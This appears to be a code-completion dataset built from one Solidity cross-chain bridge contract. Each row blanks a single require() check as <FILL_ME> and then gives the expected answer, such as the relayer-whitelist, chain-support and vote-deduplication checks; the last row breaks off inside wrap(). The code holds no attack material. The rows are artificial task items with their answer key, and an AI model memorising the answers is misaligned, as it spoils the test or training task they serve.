import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
require(<FILL_ME>)
isWhitelistedRelayer[_relayer] = isWhitelisted;
isWhitelisted ? activeRelayerCount++ : activeRelayerCount--;
emit WhitelistedRelayer(_relayer);
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| isWhitelistedRelayer[_relayer]!=isWhitelisted,"redundant" | 218,681 | isWhitelistedRelayer[_relayer]!=isWhitelisted |
"unsupported chain" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
// TODO: would you ever remove a token from the whitelist?
__tokens[_token] = tokenData;
// whitelist token for chains
for (uint256 i = 0; i < chainIds.length; i++) {
require(<FILL_ME>)
tokenWhitelistedForChain[_token][chainIds[i]] = true;
}
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| __chains[chainIds[i]].isWhitelisted,"unsupported chain" | 218,681 | __chains[chainIds[i]].isWhitelisted |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
require(nativeChain != chainId, "native token");
// TODO: would you ever remove a token from the whitelist?
__tokens[_token].maxTransaction = maxTransaction;
__tokens[_token].minTransaction = minTransaction;
__tokens[_token].nativeAddress = nativeAddress;
__tokens[_token].nativeChain = nativeChain;
// whitelist token for chains
for (uint256 i = 0; i < chainIds.length; i++) {
require(__chains[chainIds[i]].isWhitelisted, "unsupported chain");
tokenWhitelistedForChain[_token][chainIds[i]] = true;
}
// only create the token contract if there is no native address set
require(<FILL_ME>)
require(bytes(symbol_).length != 0);
require(decimals_ >= 6 && decimals_ <= 18);
if (__tokens[_token].localAddress == address(0)) {
BridgeToken _tokenAddress = new BridgeToken(
authority,
name_,
symbol_,
decimals_
);
__tokens[_token].localAddress = address(_tokenAddress);
emit BridgeTokenCreated(_token, address(_tokenAddress));
}
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| bytes(name_).length!=0 | 218,681 | bytes(name_).length!=0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
require(nativeChain != chainId, "native token");
// TODO: would you ever remove a token from the whitelist?
__tokens[_token].maxTransaction = maxTransaction;
__tokens[_token].minTransaction = minTransaction;
__tokens[_token].nativeAddress = nativeAddress;
__tokens[_token].nativeChain = nativeChain;
// whitelist token for chains
for (uint256 i = 0; i < chainIds.length; i++) {
require(__chains[chainIds[i]].isWhitelisted, "unsupported chain");
tokenWhitelistedForChain[_token][chainIds[i]] = true;
}
// only create the token contract if there is no native address set
require(bytes(name_).length != 0);
require(<FILL_ME>)
require(decimals_ >= 6 && decimals_ <= 18);
if (__tokens[_token].localAddress == address(0)) {
BridgeToken _tokenAddress = new BridgeToken(
authority,
name_,
symbol_,
decimals_
);
__tokens[_token].localAddress = address(_tokenAddress);
emit BridgeTokenCreated(_token, address(_tokenAddress));
}
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| bytes(symbol_).length!=0 | 218,681 | bytes(symbol_).length!=0 |
"not a valid relayer" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
require(<FILL_ME>)
require(request.targetChainId == chainId, "wrong chain");
require(!__proposals[hashedProposal].completed, "already unwrapped");
require(
!__proposals[hashedProposal].voted[msg.sender],
"already voted"
);
__proposals[hashedProposal].voted[msg.sender] = true;
__proposals[hashedProposal].voteCount += 1;
emit ProposalVoted(hashedProposal, msg.sender);
if (__proposals[hashedProposal].voteCount >= threshold) {
_unwrap(request.token, request.amount, request.recipient);
__proposals[hashedProposal].completed = true;
emit ProposalFinalized(hashedProposal);
}
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| isWhitelistedRelayer[sender],"not a valid relayer" | 218,681 | isWhitelistedRelayer[sender] |
"already unwrapped" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
require(isWhitelistedRelayer[sender], "not a valid relayer");
require(request.targetChainId == chainId, "wrong chain");
require(<FILL_ME>)
require(
!__proposals[hashedProposal].voted[msg.sender],
"already voted"
);
__proposals[hashedProposal].voted[msg.sender] = true;
__proposals[hashedProposal].voteCount += 1;
emit ProposalVoted(hashedProposal, msg.sender);
if (__proposals[hashedProposal].voteCount >= threshold) {
_unwrap(request.token, request.amount, request.recipient);
__proposals[hashedProposal].completed = true;
emit ProposalFinalized(hashedProposal);
}
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| !__proposals[hashedProposal].completed,"already unwrapped" | 218,681 | !__proposals[hashedProposal].completed |
"already voted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
require(isWhitelistedRelayer[sender], "not a valid relayer");
require(request.targetChainId == chainId, "wrong chain");
require(!__proposals[hashedProposal].completed, "already unwrapped");
require(<FILL_ME>)
__proposals[hashedProposal].voted[msg.sender] = true;
__proposals[hashedProposal].voteCount += 1;
emit ProposalVoted(hashedProposal, msg.sender);
if (__proposals[hashedProposal].voteCount >= threshold) {
_unwrap(request.token, request.amount, request.recipient);
__proposals[hashedProposal].completed = true;
emit ProposalFinalized(hashedProposal);
}
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| !__proposals[hashedProposal].voted[msg.sender],"already voted" | 218,681 | !__proposals[hashedProposal].voted[msg.sender] |
"chain not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
require(<FILL_ME>)
require(
tokenWhitelistedForChain[token][targetChainId],
"chain not supported for token"
);
require(__tokens[token].isWhitelisted, "token not whitelisted");
require(
amount <= __tokens[token].maxTransaction,
"over max transaction"
);
require(
amount >= __tokens[token].minTransaction,
"under min transaction"
);
uint256 gasFee = __tokens[token].gasFee;
uint256 fee = (amount * feeAmount) / feeFactor;
require(gasFee + fee < amount, "Transfer Amount Less Than Fee");
amount -= fee + gasFee;
if (__tokens[token].isGasToken) {
payable(feeRecipient).transfer(fee + gasFee);
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
feeRecipient,
fee + gasFee
);
}
if (__tokens[token].isGasToken) {
require(balance + amount <= address(this).balance);
balance = address(this).balance;
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
address(this),
amount
);
}
if (__tokens[token].nativeChain != chainId) {
IBurnable(__tokens[token].localAddress).burn(amount);
}
